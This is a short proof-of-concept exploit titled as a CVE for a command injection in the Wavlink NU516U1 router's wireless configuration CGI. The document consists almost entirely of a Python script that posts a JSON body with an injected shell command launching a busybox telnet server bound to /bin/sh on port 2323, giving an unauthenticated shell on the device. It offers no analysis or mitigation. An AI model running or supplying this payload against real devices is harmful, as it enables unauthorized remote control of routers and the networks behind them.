CVE-2026-8228: Wavlink NU516U1 无线配置命令注入漏洞

import requests # Target URL of the vulnerable device target_url = "http://192.168.10.1/cgi-bin/wireless.cgi" # Headers, typically application/json for this interface headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } # The malicious payload injected into the specific parameter # Example payload: creating a telnet shell on port 2323 payload = "; /bin/busybox telnetd -l /bin/sh -p 2323" # Data structure matching the vulnerable argument path data = { "action": "advance", "wlan_conf": { "Channel": { "skiplist": { "ieee_80211h": payload } } } } try: # Sending the malicious POST request response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") print("[+] Check if telnet is running on port 2323") except Exception as e: print(f"[-] Error occurred: {e}")